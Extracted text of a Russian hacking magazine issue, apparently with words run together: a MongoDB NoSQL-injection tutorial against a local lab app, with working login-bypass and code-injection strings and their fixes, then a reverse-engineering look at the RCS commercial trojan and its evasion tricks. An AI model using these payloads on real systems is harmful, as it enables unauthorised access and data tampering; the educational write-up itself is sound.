EBP,ESP30E27FB3MOV EAX,DWORD PTR SS:[EBP+8]30E27FB6TEST EAX,EAX30E27FB8JE mso.30C7A57230E27FBEMOV EAX,DWORD PTR DS:[EAX+3C]30E27FC1POP EBP30E27FC2 RETN 4Значение, возвращаемое функцией MSO_804 (до сих пор находящеесяпод нашим контролем) сохраняется в регистре ecx.А затем следует констркуция call dword ptr [ecx+0x11].......text:30127274 test eax, eax.text:30127276 jz short loc_3012728E.text:30127278 mov ecx, [eax].text:3012727A lea edx, [ebp+arg_0].text:3012727D push edx.text:3012727E push 0BEh.text:30127283 push esi.text:30127284 push eax.text:30127285 call dword ptr [ecx+11Ch];


coding


ВЗЛОМИлья Вербицкий (blog.chivavas.org)DVDНа нашем диске тынайдешь подробноеобучающее видеоко всем описаннымв статье примерам,а также всенеобходимые файлыи исходники.ТотальныйдестройMongoDBРАЗОБЛАЧЕНИЕ МИФАО БЕЗОПАСНОСТИ NOSQL СУБДWWWwww.mongodb.org —официальный сайтMongoDB;nodejs.org —официальный сайтNodeJS;ru.wikipedia.org/wiki/NoSQL —подробно о NoSQL;nosql-database.org— порталс огромным NoSQLсообществом.Redis, MongoDB, memcached — все эти программные продукты относятся к классу нереляционныхСУБД, противоположному популярным MySQL, Oracle Database и MSSQL. Так как интереск перечисленным базам данных в последнее время значительно возрос, хакеры всех мастей простоне могли пройти мимо них. Давай же окунемся в увлекательный мир NoSQL-инъекций!058 ХАКЕР 02 /157/ 2012


Тотальный дестрой MongoDBЧТО ТАКОЕ NOSQLДумаю, ты знаком с реляционной моделью СУБД, согласно которойбаза данных состоит из сущностей (таблиц), связанных между собой.Доступ к данным осуществляется с помощью SQL — структурированногоязыка запросов. За примерами реляционных СУБД далекоходить не надо: MySQL, Oracle, Microsoft SQL Server. Все остальныеСУБД, архитектура которым отличается от классической реляционноймодели, смело можно отнести к классу NoSQL-решений:• различные варианты хеш-таблиц (Redis, BigTable, memcached);• документо-ориентированные базы данных (MongoDB, CouchDB);• базы данных, основанные на графах (Neo4j, Sones GraphDB);• объектно-ориентированные базы данных (db4o, Cache, Jade);• XML-ориентированные базы данных (eXist, BaseX).Основное отличие NoSQL-СУБД от их SQL-ориентированных конкурентовзаключается в отсутствии единого, унифицированного языказапросов. Например, MongoDB использует в качестве языка запросовBSON, eXist применяет XQuery, а Sonic GraphDB требует от разработчиказнания GraphQL, языка запросов к данным, имеющим вид графов. ПопулярностьNoSQL-СУБД растет с каждым днем, что не может не сказыватьсяна нас с тобой. Совсем скоро, буквально завтра, тебе придетсяискать не SQL-инъекции, а NoSQL-инъекции в очередном проекте.Не будем терять времени и поговорим о потенциальных уязвимостях.ТАК ЛИ БЕЗОПАСНЫ NOSQL-СУБД?Довольно часто я слышу утверждение, что нереляционные СУБДбезопасны, так как они не используют SQL и злоумышленникне может провести на них атаки типа SQL-injection. В какой-тостепени это верно: нет SQL — нет SQL-инъекций. Но, если в системуневозможно внедрить SQL-код, это еще не значит, что онабезопасна. NoSQL закрывает одну потенциальную уязвимость, приэтом открывая с десяток других, которые позволяют совершатьразнообразные вредоносные действия:• манипулировать с REST-интерфейсом и подделывать межсайтовыезапросы (CSRF);• использовать регулярные выражения в параметрах запроса;• выполнять скрипты на сервере, если на нем установлена NoSQL-СУБД (например, MongoDB позволяет запускать JavaScript-код);• получать доступ к данным через специальный интерфейс, поддерживаемыйСУБД (SQL в реляционных базах данных, BSONв MongoDB и т. д.), и, если используется язык запросов, «исправлять»эти запросы.Рассмотрим типовую архитектуру приложения с доступом к хранилищуданных NoSQL. Обычно она состоит из трех уровней:• приложение;• API базы данных NoSQL;• NoSQL-СУБД.Злоумышленник может атаковать каждый из этих уровней. Начнемс самого нижнего уровня, то есть непосредственно с СУБД.Каки любое приложение, СУБД может быть подвержена атакам переполнениябуфера или иметь уязвимую схему аутентификации. АтаковатьПример базы данных, построенной на графахэтот уровень довольно сложно, потому что сообщество, сформировавшеесявокруг продукта, и сама компания-разработчик стараютсяисправлять ошибки по мере их обнаружения. Но у тебя есть оченьбольшое преимущество: большинство программных продуктовпоставляются с исходным кодом, а значит, ты вполне сможешь егопроанализировать и, возможно, найти что-нибудь стоящее. Если тебеповезет, то в твоих руках окажется ключ практически к любой базеданных!Следующий уровень — клиентское API. Большинство NoSQL-СУБД имеют целый зоопарк различных библиотек для доступак данным. Стоит отметить, что большинство библиотек представляютсобой проекты с открытым исходным кодом, но часть из них ужене поддерживается. Вероятность обнаружить уязвимость в клиентскойбиблиотеке значительно выше, чем непосредственно в самойСУБД. И даже если тебе не посчастливится найти ту единственнуюуязвимость, которая откроет доступ ко всем приложениям, построеннымна основе этого API, ты будешь представлять, как именно происходитдиалог между клиентским кодом и сервером баз данных, какойиспользуется протокол и можно ли перехватить сессию.Ну и наконец, верхний уровень — приложение, которое ты собираешьсявзломать. Здесь тебе прежде всего нужно найти те места,где программист забыл проверить входные данные, и попытатьсяих проэксплуатировать. В данном случае нужно использовать тотже подход, что и при поиске SQL-инъекций, то есть анализироватькод и сообщения об ошибках, только на этот раз придется разбиратьсяс JSON, JavaScript или чем-то подобным.Итак, настало время для взлома! Сегодня нашей целью будетMongoDB — одна из самых распространенных NoSQL-СУБД.NOSQL-ИНЪЕКЦИИ В MONGODBМы будем взламывать небольшое web-приложение. Его исходный коди весь необходимый софт ты найдешь на диске, прилагаемом к журналу(процесс установки подробно описан в файле README.RU.txt). Еслиустановка пройдет успешно, то приложение должно быть доступнопо адресу http://127.0.0.1:31337. Основные атаки, о которых сегодняпойдет речь:• инъекции в регулярных выражениях;• JSON-инъекции;• манипуляции с REST-интерфейсом;• JavaScript-инъекции.Начнем со взлома при помощи ошибок в использовании регулярныхвыражений.Статистика поисковых запросов о NoSQL в Google InsightsИНЪЕКЦИИ В РЕГУЛЯРНЫХ ВЫРАЖЕНИЯХMongoDB, как и многие другие NoSQL-СУБД, позволяет осуществлятьпоиск с помощью регулярных выражений. Это очень мощное,ХАКЕР 02 /157/ 2012 059


ВЗЛОМWeb-интерфейс MongoDBно в то же время опасное средство, которое может нанести существенныйвред при неправильном использовании.Для поиска с помощью регулярных выражений в MongoDBиспользуют оператор $regex. Например, запрос «верни мне всехпользователей, логин которых начинается с "ro"», будет выглядетьследующим образом:db.users.find({ login: { $regex: "^ro" } }).Кстати, если ты не знаком с языком запросов MongoDB, торекомендую начать его изучение с руководства разработчика,которое находится по адресу bit.ly/cqW1RH. Но вернемся к нашемуприложению. Открой тестовый web-сайт и выбери пункт «Инъекциив регулярных выражениях» в меню MongoDB. Посмотрим, какустроена эта страница. Открой файл mongodb.js в папке Lib. В немреализован класс MongoDbController, который отвечает за функ-ГЛОССАРИЙ• REST (Representational state transfer) — подход к разработкеархитектуры распределенных систем, который подразумевает,что каждый объект системы однозначно определяетсяглобальным идентификатором, например URL. Каждый URL,в свою очередь, имеет строго определенный формат. Управлениесервисом основано на протоколе передачи данных. Обычно этоHTTP или HTTPS, который поддерживает минимальный наборопераций над объектами: GET (получить), PUT (добавить), POST(сохранить) и DELETE (удалить).• BSON (Binary JavaScript Object Notation) — это бинарная формапредставления простых структур данных и ассоциативныхмассивов. Название произошло от широко распространенногоформата обмена данными JSON и неофициальнорасшифровывается как бинарный JSON (Binary JSON).ционирование всех страниц в приложении. Сейчас нас интересуетметод regexp:var regexpPwd = new RegExp("^" + password, "i");var loginParam = { login: login, password: regexpPwd };Как видишь, аутентификация пользователя происходит посредствомзапроса, который указывает регулярное выражениев качестве пароля. При этом переменная password никак не фильтруется,что открывает нам полную свободу действий. Здесь тыможешь указать имя пользователя root и регулярное выражениевместо пароля, например [\s\S]*. В результате MongoDB выполнитследующий запрос: db.users.findOne({login: 'root', password:/^[\s\S]*/i}), и ты успешно войдешь на уязвимый сайт под логиномroot (этот прием напоминает классическую SQL-инъекцию «1' or 1=1--»). Защититься от подобной атаки довольно просто. Во-первых,всегда проверяй входные данные, откуда бы они ни поступили —напрямую от пользователя, или из внешнего файла, или из базыданных. Перед использованием данных в программе их следуетпроверять. Во-вторых, используй регулярные выражения тольков тех случаях, когда это действительно необходимо. Например,приведенный выше запрос можно переписать вот таким образом:db.users.findOne({ login: 'root', password: 'p@ssw0rd' })Как видишь, он безопаснее и при этом выполняется быстрее.JSON-ИНЪЕКЦИИДа, MongoDB не поддерживает SQL, но СУБД не может обойтисьбез языка запросов. Разработчики MongoDB решили использоватьвместо SQL популярнейший текстовый формат обмена даннымиJSON (BSON). Таким образом, можно попробовать осуществитьразного рода атаки-инъекции (конечно, если входные данныене фильтруются). Такие атаки обычно называют JSON-инъекциями.Итак, снова открывай наше приложение и переходи на страницу«JSON-инъекции». Как и в предыдущем примере, ты увидишь поледля ввода имени пользователя и пароля. Давай рассмотрим код,060ХАКЕР 02 /157/ 2012


Тотальный дестрой MongoDBотвечающий за процесс аутентификации на этой странице. Он содержитсяв методе json-injection класса MongoDbController:var loginParam = eval("({ login: '" + login + "',password: '" + password + "' })”);Вышеприведенный код преобразует текстовое представлениеобъекта JavaScript (запроса к MongoDB) в объект. После передачиэтого объекта на сервер баз данных происходит аутентификацияпользователя. В этом куске кода есть одно очень слабое место —входные данные никак не контролируются, поэтому ты можешьсформировать практически любой запрос к базе! Например, укажиимя пользователя «root'})//» (пароль вводить необязательно)и нажми на кнопку «Войти». Поздравляю, ты снова вошел в систему!Как так получилось? Все очень просто. Ты указал имя пользователя«root'})//», и в функции eval произошел следующий фокус://Переданное значение({ login: 'root'})//', password: '' })//Получившийся запросdb.users.findOne({ login: 'root' })На самом деле этот скрипт даже еще опаснее, так как с егопомощью ты можешь выполнить любой код JavaScript на webсервере.Например, имя пользователя «' + process.execPath})//»сформирует запрос видаdb.users.findOne({ login: 'C:\\node.exe' })Уязвимости такого типа называются Server Side JavaScriptInjections или просто SSJI. Как же защититься от подобных атак?1. Проверяй все данные из внешних источников. Например, логиндолжен соответствовать регулярному выражения «^[a-zA-Z]+$».2. Никогда не используй функцию eval для работы с JSON. В Node.js доступна функция JSON.parse, которая парсит входную строкуи создает объект на ее основе.МАНИПУЛЯЦИИ С REST-ИНТЕРФЕЙСОМВ связи с бурным развитием интернета и сервис-ориентированнойархитектуры (SOA) все большую популярность набирают RESTрешения.Так как большинство современных нереляционных СУБДорганизовано в соответствии с последними тенденциям в индустрии,то многие из таких систем либо сами реализуют REST, либо используютсторонние продукты для доступа к данным с помощью RESTfulархитектуры.MongoDB не исключение: в эту СУБД входит простойREST-интерфейс который позволяет получить доступ к данным в режиме«Только чтение». Кроме того, существует проект под названиемSleepy Mongoose, который реализует полную поддержку REST.Давай посмотрим, как работает REST-интерфейс, встроенныйв MongoDB. Сервер СУБД должен быть запущен с параметром «--rest». REST-сервис доступен по адресу http://127.0.0.1:28017/. Этоочень простое web-приложение, которое отображает информациюо текущем состоянии СУБД и позволяет формировать запросык базам данных. Вот несколько интересных ссылок:ПриложениеAPI NoSQL СУБДNoSQL СУБДСтандартная архитектура доступа к данным в NoSQL-СУБД• /listDatabases?text=1 — список баз данных;• /serverStatus?text=1 — текущее состояние сервера.В общем случае для формирования REST-запроса к базе данныхиспользуется URL следующего вида:http://127.0.0.1:28017/база_данных/коллекция/?filter_поле=значениеНа странице «Манипуляции с REST-интерфейсом» нашегоweb-приложения происходит аутентификация пользователя припомощи REST-интерфейса MongoDB. Она реализована в методеrest класса MongoDbController:var restQry = "/secure_nosql/users/?filter_login="+ login + "&filter_password=" + password;var hash = restQry.indexOf("#");if (hash > -1) { restQry = restQry.substring(0, hash); }Скрипт формирует REST-запрос, игнорируя при этом все данныепосле символа #. Когда REST-запрос готов, скрипт формируетHTTP-запрос к серверу и ожидает результат в формате JSON.К примеру, запрос информации о пользователе root в базе данныхsecure_nosql выглядит следующим образом: http://127.0.0.1:28017/secure_nosql/users/?filter_login=root&filter_password=p@ssw0rd.Всё бы хорошо, но в коде есть ошибка, проявляющая себя при обработкесимвола #. Если ты попробуешь войти с именем «root#»,то окажешься залогиненным в системе. Проблема, обусловленнаяформированием следующего URL: http://localhost:28017/secure_Mongo — стандартный клиент MongoDBХАКЕР 02 /157/ 2012061


ВЗЛОМэто позволяет писать очень сложные приложения для обработкиданных, с другой — делает твое приложение более уязвимым.Страница аутентификация пользователя в тестовом приложенииnosql/users/?filter_login=root#&filter_password=. состоит в том, чтопараметр filter_password был проигнорирован и аутентификацияпроходила посредством запроса http://localhost:28017/secure_nosql/users/?filter_login=root.Стоит отметить, что большинство REST-интерфейсов такжеуязвимы к подделке межсайтовых запросов (CSRF):Честно говоря, я довольно скептически отношусь к RESTfulархитектуре,так как она открывает большие возможности длязлоумышленников. Постарайся не использовать REST. Но если безнего никак, то предварительно прочитай статью Robust Defensesfor Cross-Site Request Forgery (bit.ly/cbVLvY), в которой очень подробноописаны все аспекты безопасности REST.JAVASCRIPT-ИНЪЕКЦИИБольшинство современных реляционных СУБД позволяют создаватьхранимые процедуры. Давай рассмотрим Microsoft SQL Server,который расширяет возможности ANSI SQL и позволяет соблюдатьпрактически любые требования бизнес-приложений. Если тебене хватает возможностей T-SQL (это диалект SQL, реализованныйв SQL Server), то ты можешь написать хранимую процедуру на C#или любом другом .NET-совместимом языке.MongoDB обладает не менее богатыми возможностями, в числокоторых входит серверный JavaScript. Фактически ты можешь выполнитьпочти любой код на сервере баз данных. С одной стороны,Где можно использовать JavaScript в MongoDB?1. Запросы с оператором $where. Например, запрос db.orders.find({ $where: "this.amount > 3" }) вернет тебе список заказов,количество пунктов в которых больше трех.2. Команда db.eval. К примеру, db.eval("function (x) { return x * x;}", 2) вернет четыре.3. Функции для сохранения в базе данных. MongoDB позволяетсохранять функции, написанные на языке JavaScript, в базе данных.Для этого используется специальная системная коллекцияsystem.js. Чтобы создать новую хранимую функцию foo(x), выполниследующий код:db.system.js.save( { _id: "foo", value: function (x){ return x * x; }})Теперь можешь попробовать вызвать ее вот так: db.eval("foo(2)").4. Map/Reduce. Map/Reduce — это программный фреймворк, разработанныйкомпанией Google для параллельных вычислений надбольшими объемами данных. Он содержит две операции: map,используемую для предварительной обработки данных, и reduce,осуществляющую поиск результата.MongoDB позволяет запускать операции map/reduce на серверебаз данных. Операции по распараллеливанию процессови агрегации СУБД берет на себя, от разработчика требуется лишьуказать исходные данные и функции, реализующие команды mapи reduce. Дополнительная информация доступна в документациина MongoDB (bit.ly/4V7mD).В нашем тестовом приложении имеется JavaScript-инъекция в операторе$where и аналогичная уязвимость в команде db.eval.Начнем c оператора $where. Открой приложение и выбери пункт$where в меню «Инъекции JavaScript». Аутентификация на страницереализована в методе ssji-where класса MongoDbController:var js = "this.login === '" + login +"'&& this.password === '" + password + "'";var loginParam = { "$where" : js };Сначала генерируется скрипт, который проверяет имя и па-FAQ ПО NOSQLQКАКОВО ПРОИСХОЖДЕНИЕ ТЕРМИНАNOSQL?NoSQL переводится не как «Нет SQL»A (No SQL at all), а как «Не только SQL»(Not only SQL). Этот термин возник в 1998году: именно так Карло Строцци (CarloStrozzi) назвал свою нереляционнуюсистему управления базами данных.Второе рождение он получил в 2009-м,когда Эрик Эванс (Eric Evans) на конференции,посвященной свободным распределеннымбазам данных, использовал его дляобозначения нереляционных СУБД и хранилищданных.Можно считать, что именно эта конференцияположила начало буму NoSQLрешений.QAЧТО ТАКОЕ MONGODB?MongoDB — это документоориентированнаясистема управлениябазами данных с открытым исходным кодом,разрабатываемая компанией 10gen с октября2007 года. Первый релиз MongoDB вышелв феврале 2009 года. СУБД позиционируетсякак решение для хранения данных в высоконагруженныхпроектах. К ее основнымдостоинствам можно отнести высокуюпроизводительность, отличную масштабируемость,отказоустойчивость и наличиеобширного сообщества разработчикови пользователей. На данный момент средипользователей MongoDB присутствуют такиевсемирно известные компании, как Disney,SAP, Forbes и другие.QAПОЧЕМУ NOSQL?Давай рассмотрим, какие основныепреимущества имеют базы данныхNoSQL по сравнению со своими реляционнымисобратьями.1. Производительность.Разработчики большинства NoSQLрешенийпосвящают очень много времениоптимизации своих проектов. MongoDBпозволяет добиться порядка 20000 вставоки 4800 выборок в секунду.2. Простая настройка репликации баз данных.MongoDB позволяет настроить репликациювсего лишь с помощью нескольких команд,то есть гораздо проще, чем в том же Oracle.3. Множество «плюшек», облегчающихжизнь программистам.062ХАКЕР 02 /157/ 2012


Тотальный дестрой MongoDBУспешная аутентификация в тестовом приложенииДоступ к тестовому приложению запрещенроль пользователя. К сожалению, данные в переменных passwordи login никак не проверяются, что позволяет выполнить любойскрипт на сервере.Теперь давай попробуем войти как root. Введи имя пользователя«root' //» и попробуй войти. Ты в очередной раз успешнозалогинишься! Это возможно благодаря тому, что на сервере былсформирован следующий запрос к MongoDB:{ '$where':'this.login === \'root\' //\' && this.password === \'\'' }«//» — это комментарий в JavaScript, поэтому результирующийзапрос примет вид «this.login === 'root'».К счастью, в момент выполнения запроса база данных находитсяв режиме «Только чтение», поэтому злоумышленник не сможет написатьскрипт, модифицирующий твои данные. Но это еще не говорито том, что подобная атака невозможна. Открой страницу «ИнъекцииJavaScript — db.eval(...)». На этот раз аутентификация происходитпосредством вызова функции eval на сервере базы данных:var js = "function () { return db.users.findOne ({ login: '"+ login + "', password: '" + password + "' }); }"db.eval(js);Как видишь, у тебя есть возможность выполнить любой кодна сервере БД. Попробуй создать нового пользователя pen_testс паролем pen_test. Для этого нужно ввести следующий логин:'}), db.users.insert({login: 'pen_test', password:'pen_test'}), 1 } //Во-первых, ты вошел в систему. Во-вторых, в базе данныхпоявился новый пользователь pen_test :).Серверный JavaScript обладает огромным потенциалом и в тоже время несет в себе много опасностей. Одна маленькая ошибкав коде, и злоумышленник получает доступ к твоему серверу базданных. Я настоятельно рекомендую не использовать серверныескрипты: 85 % запросов можно написать и без них.ЗАКЛЮЧЕНИЕВ заключение я бы хотел поговорить о том, каким я вижу настоящееи будущее NoSQL-сообщества. Во-первых, ты убедился в том,что NoSQL-СУБД пока не являются мейнстримом, но уже довольноблизки к этому: появляются новые нереляционные СУБД и проекты,которые их используют. Как мне кажется, в ближайшем будущемNoSQL-решения займут относительно большую долю на рынке высоконагруженныхприложений. Во-вторых, безопасность современныхNoSQL-СУБД оставляет желать лучшего. Если в мире реляционныхбаз данных существует один стандартизированный язык запросов— SQL, то в «нереляционном мире» каждый реализует язык запросов,как ему вздумается: JSON, XQuery, REST-интерфейсы. Соответственно,и потенциальных уязвимостей намного больше. Если приработе с реляционными базами данных было достаточно изучитьSQL-инъекции и способы борьбы с ними (при этом ты мог применитьуже имеющиеся знания как в MySQL, так и в Oracle или SQL Server),то с нереляционными базами данных всё не так просто. Сначалатебе предстоит разобраться, какой язык запросов используетсяв твоей СУБД, как осуществляется доступ к данным и существуютли дополнительные возможности, которые можно использовать длявзлома (например, серверный JavaScript в MongoDB). После сбораинформации тебе предстоит найти потенциальные уязвимостив своей системе и способы их устранения.Я очень надеюсь, что в ближайшем будущем ситуация изменится:в открытом доступе появится больше информации и защититьсяот угроз, связанных с использованием NoSQL-СУБД, будет так же просто,как от обычных SQL-инъекций. zНапример, MongoDB имеет встроеннуюподдержку Map/Reduce и сложных структурданных.4. Масштабируемость.Это один из главных козырей NoSQL-СУБД.Большинство из них поддерживает горизонтальноемасштабирование, что способствуетсущественной экономии средств на оборудовании,ведь дешевле купить еще один недорогойсервер для кластера, чем добавитьв корпоративный сервер дополнительнуюпару процессоров и оперативную память.5. Они дешевле!Большинство NoSQL-решений — этопроекты с открытым исходным кодом. Тыможешь скачать их прямо сейчас и начатьиспользовать. Вокруг многих проектовсформировалось большое и сплоченноеQAсообщество, которое всегда готово помочьи исправить найденный тобой баг. В концеконцов, ты сам можешь исправить багили написать необходимое расширение.Кроме того, можно заметно сэкономитьна расходах на администраторов базданных, так как нереляционные СУБДгораздо проще реляционных и для ихподдержки в большинстве случаевне требуется специальный сотрудник.КТО ИСПОЛЬЗУЕТ NOSQL?Как видишь, NoSQL-СУБД имеют ряднеопровержимых преимуществ. Давайрассмотрим, кто же их использует:• «Облачные» сервисы, а именно Google,Amazon и даже Windows Azure от Microsoft.• Порталы и социальные сети: Facebook,Twitter, LinkedIn — думаю, ты сможешь продолжитьсписок самостоятельно.• SaaS. Всё большее число компаний выбираетрешения Software-as-Service в качествеосновной платформы для ведения бизнесав тех отраслях, где постоянно растут нагрузкина инфраструктуру. Многие поставщикиSaaS-решений переходят на NoSQL.Так, к примеру, поступил Salesforce.com —лидер в области SaaS CRM.• Стартапы. Это отдельная категория проектов,которые запускаются с минимальным бюджетомс расчетом на суперприбыли в будущем.Такие проекты часто выбирают NoSQLрешения,так как они, во-первых, дешевы,а во-вторых, представляют собой отличныйзадел на будущее, если он будет популярным.ХАКЕР 02 /157/ 2012063


ВЗЛОМJohnny CatchЛегальныйтроян: это как?ПОТРОШИМКОММЕРЧЕСКИЙЗЛОВРЕД REMOTECONTROL SYSTEMВ IT-сообществе принято считатьбезусловным злом любой софт,который крадет персональные данныепользователя и приносит огромную прибылькиберпреступникам. Между тем существуютвполне легальные компании, которыеразрабатывают и продают трояны.DVDНа нашем диске тынайдешь видео, вкотором нагляднопоказан процессобнаружения троянаRCS в системеНЕЛЕГАЛЬНОЕ ЛЕГАЛЬНОНеужели действительно кто-то разрабатывает и продает вредоносноеПО легально? Да, только тот же самый софт, за созданиекоторого еще вчера могли привлечь к ответственности, разрабатываетсяне со злым умыслом, а для решения вполне легитимныхзадач. Скажем, спецслужбы могут осуществлять с помощьюпрограмм, которые совсем недавно использовались как трояны,сбор оперативной информации — где тут вредоносность? Восьмогооктября 2011 года крупнейший европейский хакерский клуб ChaosComputer Club (CCC) опубликовал отчет о реверс-инжинирингетрояна, который немецкая полиция якобы использовала не толькодля сбора пользовательских данных, но и для скрытой установкипрограммного обеспечения на зараженные компьютеры. Властиофициально этот факт подтвердили. А в декабре исследователь изавсегдатай форума XDA-developers Тревор Экхарт обнаружил, чторяд современных смартфонов, в том числе Android и iPhone, скрытоследят за действиями пользователей и передают собранную«статистику» производителям. Подробнее об этих двух инцидентахможешь прочитать во врезке. Сейчас же я предлагаю рассмотретьодин из таких «легальных троянов» — Remote Control System,узнать, что о нем говорят разработчики, и разобраться, что он насамом деле собой представляет.REMOTE CONTROL SYSTEMСкажу прямо, сам производитель предоставляет о программекрайне скудную информацию. На официальном сайте итальянской064ХАКЕР 02 /157/ 2012


Легальный троян: это как?Реквизиты стороны, подписавшей x64-драйверВосстановленная функция выработки ключа Android-версии малварикомпании HackingTeam (www.hackingteam.it) можно найти всеголишь несколько презентаций и два видеоролика. Однако этоговполне достаточно для понимания того, что возможности RCSпросто огромны. Программа позволяет собирать информацию обоперационной системе, нажатиях клавиш, автоматически делаетскриншоты экрана, окон и областей, в которых пользователькликнул мышкой. Вдобавок программа умеет перехватывать перепискув чатах, а также разговоры в Skype, Google Talk и других IM.Если у зараженного пользователя подключена веб-камера, троянможет делать с ее помощью фотографии и передавать их на сервератакующего. Более того, в RCS имеется специальный модуль,который постоянно сканирует файловую систему зараженногокомпьютера, а затем передает на сервер файлы с определеннымирасширениями. Существуют версии зловреда для Windows, Mac иряда мобильных платформ, среди которых следует особо выделитьiPhone и Android. Производитель заверяет, что RCS совершенно невидна в зараженной системе и антивирусы с файерволами ей тожеCARRIER IQ: ЛЕГАЛЬНЫЙ ТРОЯНВ СМАРТФОНАХКопаясь в прошивке Android-смартфонов фирмы HTC, ТреворЭкхарт обнаружил программу, работающую в скрытом режимеи собирающую информацию о нажатиях клавиш на диалереили клавиатуре, просмотре рекламных объявлений, полученииСМС, включении и отключении экрана, получении звонков,местоположении и т. д. Дальнейшие исследования показали,что эта программа является детищем фирмы Carrier IQ, котораяактивно сотрудничает с производителями как смартфонов, таки простых мобильных телефонов. Производитель оборудованияполучает исходники программы от CIQ, дорабатывает их ивнедряет в прошивку устройства. Кроме того, CIQ предоставляетудобный интерфейс для работы с полученными данными.Элементы кода программы были найдены в прошивках с SenseUI, а также на аппаратах производства Samsung с интерфейсомTouch Wiz. В результате проделанной работы Тревор написалпрограмму, которая позволяет проверить телефон на наличиеэтого руткита и, если в смартфоне есть права root, попытатьсяудалить руткит (подробнее читай на bit.ly/sdkKcE).не помеха. И это действительно так: при работе на зараженноймашине троян не вызывает подозрений у «Антивируса Касперского»со стандартными настройками, файервол Zone Alarm спокойнопропускает трафик, а RootkitRevealer Руссиновича не показываетничего подозрительного. Один лишь Wireshark, установленный накомпьютере-маршрутизаторе, фиксирует некоторое количествоHTTP-POST-запросов к одному из серверов в интернете.ОБНАРУЖЕНИЕКак оказалось, обнаружить троян довольно легко, достаточнолишь загрузиться с загрузочной флешки и прошерстить винчестерзараженного компьютера. RCS создает директорию либо в корнедиска C, либо в %APPDATA%, а также генерирует ключ реестра сослучайным именем в разделе Run, причем при работе зараженнойсистемы директория и ключ не видны для файл-менеджеров и редакторовреестра. Чуть позже я расскажу, почему, а пока остановлюсьна компонентах трояна.Модная нынче тенденция реализовывать малварь не в виде exe,а в виде библиотеки dll не обошла стороной и разработчиков RCS.Вообще, версия этого трояна для Windows включает в себя следующиекомпоненты (имена модулей могут отличаться в зависимостиот версии/хозяина):1. Основной модуль 7KOmPPPs.TRK (DLL, x86).2. Файл конфигурации a5jt555f.Qu6.3. Кодек для кодирования речи CrThBBBT.7ar (DLL, x86).4. Дополнительный x64-модуль tms5ggg8.T4t (DLL, x64).5. Драйвер x64 0Cfkvvvw.HiO (SYS, x64).6. Драйвер x86 YDxohhhn.pYS (SYS, x86).Любой здравомыслящий человек сразу задаст вопрос о скрытойустановке x64-драйвера в систему. Здесь нет ничего необычного,разработчики пошли по пути наименьшего сопротивления и простоподписали его своей электронной подписью. К слову сказать, этоих и палит (смотри первую иллюстрацию), так как Гугл моментальнонаводит нас на сайт производителя трояна.ГДЕ СОБАКА ЗАРЫТА?Сразу скажу, что я коснусь в основном только x86-версии RCS.Как уже отмечалось ранее, основной модуль представляет собойдинамическую библиотеку для архитектуры x86. Dll экспортируетвосемь функций с ничем не примечательными именами: HFF1,HFF2, ..., HFF8. Значение ключа реестра в разделе Run, запускающеетроян, имеет следующий вид:rundll32.exe "c:\trSMKKK0\7KOmPPPs.TRK",HFF8ХАКЕР 02 /157/ 2012 065


ВЗЛОМ— и намекает на то, что в первую очередь необходимо изучитьвосьмую функцию HFF8. Вообще, закидывая dll в IDA, я думал, чтонарвусь на какой-нибудь пакер или навороченную защиту, но и сэтим разработчики не стали заморачиваться — антиотладочныхсредств я не обнаружил, программа имела только защиту противстатического анализа кода, которая скорее направлена противантивирусов, нежели реверсера. Поэтому разбирать по косточкамэту малварь было легко, удобно и интересно.ЗАПУСКРаботу функции HFF8 можно логически разделить на несколькоблоков. Первый — проверка основных модулей трояна: сначалаон проверяет, является ли rundll32.exe текущим процессом, далееперебирает все dll, подгруженные в адресное пространство, затемпытается получить в каждом из них адрес функции HFF1 и сравниваетполученный адрес с уже имеющимся значением. Далее припомощи функции GetModuleFileNameExW троян получает имя своейглавной dll (с путем), преобразует его в ASCII и оставляет толькоимя файла. Путь к файлу и имя файла сохраняются в двух разныхбуферах в shared-сегменте, где выделена память для данных,доступ к которым нужен другим процессам, в чье адресное пространствотакже подгружена dll с трояном. Затем каждый символполученного имени заменяется на другой в соответствии с некоторойтаблицей, а новое имя файла (если все предыдущие шагизавершились успешно) копируется в shared-сегмент как имя файлас настройками. Каждый символ имени файла с настройками такжекодируется при помощи некой таблицы для преобразования в имяеще одной части трояна. Таким образом и создаются все необходимыеимена файлов, которые записываются в shared-сегмент динамическойбиблиотеки. После имен файлов в разделяемый сегменткопируются имена объектов FileMapping. Всего таких объектов три,и их названия имеют префиксы KMS1, KMS2, KMS3. После каждогопрефикса идет еще восемь hex-значений. Троян считает проверкууспешной, если найден основной модуль. Наличие остальныхмодулей на данном этапе не проверяется.Малварь в диспетчере приложений AndroidR2D2Осенью крупнейший европейский хакерский клуб ChaosComputer Club (CCC) опубликовал отчет о «полицейском трое»,который, как потом признали власти, действительно применялсясиловыми ведомствами для сбора пользовательских данных.Из-за того что в основном модуле трояна имеется строка C3POr2d2-POE,ему присвоили имя R2D2. Малварь состоит из DLL сименем mfc42ul.dll и драйвера winsys32.sys для архитектуры x86.При заражении DLL прописывается в ветку реестра SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows\AppInit_DLLs и,следовательно, подгружается в адресное пространство каждогоGUI-приложения. Малварь скрыто делает скриншоты экрана,перехватывает нажатия клавиш клавиатуры, записывает звонки,совершаемые при помощи Skype, и передает всю эту информациюна удаленный сервер. Отмечу, что здесь механизм перехватазвонков такой же, как и в RCS. Самый главный фейл, которыйдопустили разработчики, — это использование во всех версияхмалвари фиксированных ключей шифрования и алгоритмаAES в режиме ECB при полном отсутствии аутентификации,что позволяет практически любому пользователю интернетауправлять зараженной машиной.Исследователи из CCC зареверсили протокол взаимодействиянемецкой малвари с командным сервером и разработалиальтернативную программу управления. Члены клуба CCC такжеобнаружили еще одну версию трояна, о чем сообщает одна изпоследних заметок на их официальной странице www.ccc.de.Второй блок — активация системы маскировки трояна. На этомэтапе инициализации троян сначала пытается открыть устройствоMSH4DEV1, которое создается x86-драйвером (номер 6 в спискефайлов). Если все проходит успешно, то handle устройства сохраняется.Далее выполняется поиск антивирусного ПО, установленногона зараженной машине. Для поиска троян всегда используетодин алгоритм: перебирает загруженные в систему драйвера иищет нужный по определенному имени. Список распознаваемыхантивирусов довольно внушителен: Avira, Avast, Eyee, ProcGuard,McAfee, Kerio, Comodo, Panda, TrendMicro, Ashampoo, Kaspersky,AVG, BitDefender и еще пара-тройка экзотических для наших широтпродуктов. Учитывая особенности каждого антивируса, троян пытаетсяустановить в систему драйвер YDxohhhn.pYS (если он до сихпор не установлен), который копируется в системную директориюWindows и переименовывается в ndisk.sys. Установка выполняетсяпри помощи функций ADVAPI32 типа CreateService, StartService ит. д. Затем троян пытается открыть 